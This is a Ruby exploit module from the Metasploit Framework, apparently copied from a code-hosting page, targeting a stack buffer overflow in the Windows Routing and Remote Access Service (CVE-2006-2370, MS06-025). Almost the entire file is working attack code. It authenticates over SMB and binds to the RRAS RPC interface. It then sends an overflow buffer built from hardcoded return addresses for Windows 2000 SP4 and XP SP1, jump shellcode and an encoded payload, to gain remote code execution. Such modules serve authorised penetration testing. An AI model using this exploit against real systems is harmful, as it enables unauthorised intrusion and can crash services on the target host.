131 lines
3.0 KiB
Ruby
131 lines
3.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft RRAS Service Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Windows Routing and Remote
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Access Service. Since the service is hosted inside svchost.exe, a failed
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exploit attempt can cause other system services to fail as well. A valid
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username and password is required to exploit this flaw on Windows 2000.
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When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. },
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'Author' =>
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[
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'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
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'hdm'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2006-2370' ],
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[ 'OSVDB', '26437' ],
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[ 'BID', '18325' ],
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[ 'MSB', 'MS06-025' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1104,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],
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[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],
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],
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'DisclosureDate' => 'Jun 13 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),
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], self.class)
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end
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# Post authentication bugs are rarely useful during automation
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def autofilter
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false
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end
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def exploit
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connect()
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smb_login()
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handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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print_status('Getting OS...')
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# Check the remote OS name and version
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os = smb_peer_os
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pat = ''
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case os
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when /Windows 5\.0/
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pat =
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payload.encoded +
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"\xeb\x06" +
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rand_text_alphanumeric(2) +
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[target.ret].pack('V') +
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"\xe9\xb7\xfb\xff\xff"
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os = 'Windows 2000'
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when /Windows 5\.1/
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pat =
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rand_text_alphanumeric(0x4c) +
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"\xeb\x06" +
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rand_text_alphanumeric(2) +
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[target.ret].pack('V') +
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payload.encoded
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os = 'Windows XP'
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end
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req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)
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len = req.length
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stb =
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NDR.long(0x20000) +
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NDR.long(len) +
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req +
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NDR.long(len)
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print_status("Calling the vulnerable function on #{os}...")
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begin
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dcerpc.call(0x0C, stb)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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rescue => e
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if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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raise e
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end
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end
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# Cleanup
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handler
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disconnect
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end
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end
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